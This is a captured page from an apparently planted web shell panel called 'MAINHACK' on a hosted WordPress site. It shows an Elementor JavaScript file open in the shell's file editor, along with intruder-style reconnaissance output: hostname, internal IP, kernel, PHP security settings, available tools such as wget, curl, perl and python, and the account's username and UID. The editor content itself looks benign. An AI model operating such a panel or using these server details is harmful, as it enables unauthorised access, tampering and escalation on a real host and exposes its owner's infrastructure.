[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: design-system-sync.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /*!*****************************************************************************!*\ !*** ../modules/design-system-sync/assets/js/design-system-sync-handler.js ***! \*****************************************************************************/ (function () { 'use strict'; var SYNC_ENDPOINT = wpApiSettings.root + 'elementor/v1/design-system-sync/stylesheet'; var SYNC_STYLESHEET_ID = 'elementor-design-system-sync-css'; var DEBOUNCE_MS = 500; var syncTimeout; function syncDesignSystem() { fetch(SYNC_ENDPOINT, { method: 'POST', headers: { 'X-WP-Nonce': wpApiSettings.nonce } }).then(function (response) { if (!response.ok) { return; } if (204 === response.status) { return; } return response.json(); }).then(function (data) { if (!data) { return; } refreshGlobals(); reloadCanvasDesignSyncStyles(data); }); } function refreshGlobals() { var globals = $e.components.get('globals'); globals === null || globals === void 0 || globals.refreshGlobalData(); globals === null || globals === void 0 || globals.populateGlobalData(); } function reloadCanvasDesignSyncStyles(_ref) { var url = _ref.url; var previewFrame = document.getElementById('elementor-preview-iframe'); if (!(previewFrame !== null && previewFrame !== void 0 && previewFrame.contentDocument)) { return; } var link = previewFrame.contentDocument.getElementById(SYNC_STYLESHEET_ID); if (!link) { link = previewFrame.contentDocument.createElement('link'); link.id = SYNC_STYLESHEET_ID; link.rel = 'stylesheet'; previewFrame.contentDocument.head.appendChild(link); } link.href = url; } function onClassesUpdated(event) { var context = event.detail.context; if (context !== 'frontend') { return; } clearTimeout(syncTimeout); syncTimeout = setTimeout(syncDesignSystem, DEBOUNCE_MS); } window.addEventListener('classes:updated', onClassesUpdated); window.addEventListener('variables:updated', function () { clearTimeout(syncTimeout); syncTimeout = setTimeout(syncDesignSystem, DEBOUNCE_MS); }); })(); /******/ })() ; //# sourceMappingURL=design-system-sync.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697